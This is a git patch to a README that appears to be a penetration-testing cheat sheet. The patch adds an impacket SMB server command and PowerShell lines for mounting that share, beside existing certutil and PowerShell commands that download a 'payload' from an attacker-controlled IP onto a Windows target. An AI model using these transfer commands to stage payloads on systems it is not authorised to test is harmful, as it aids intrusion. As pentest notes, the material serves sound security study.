From b5a93259dcf924124fc14c7cf4562255967ba79b Mon Sep 17 00:00:00 2001 From: Joe Totes <59018247+Totes5706@users.noreply.github.com> Date: Mon, 5 Sep 2022 20:09:57 -0400 Subject: [PATCH] Update README.md --- README.md | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d1a4126..6fe3fc9 100644 --- a/README.md +++ b/README.md @@ -1347,7 +1347,7 @@ username=admin$password=FUZZ *** -#### [STEP 1] Python Server on Client +#### [STEP 1] Server on Client
@@ -1360,6 +1360,10 @@ username=admin$password=FUZZ sudo python3 -m http.server {PORT} # {PORT}: Port to open for file transfer + + +# SMB SHARE +impacket-smbserver temp $(pwd) -smb2support -user {USERNAME} -password {PASSWORD} ```
@@ -1389,7 +1393,13 @@ certutil -split -f -urlcache http://{IP ADDRESS}/{FILE} # Windows - Download file using powershell powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')" -# {IP ADDRESS}: IP Address of the client from step one (python server) +# SMB SHARE +$pass = convertto-securestring '{PASSWORD}' -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential('{USERNAME}', $pass) +New-PSDrive -Name tempdrive -PSProvider FileSystem -Credential $cred -Root \\{IP ADDRESS}\temp +cd tempdrive: + +# {IP ADDRESS}: IP Address of the client from step one # {FILE}: The payload to be transferred ```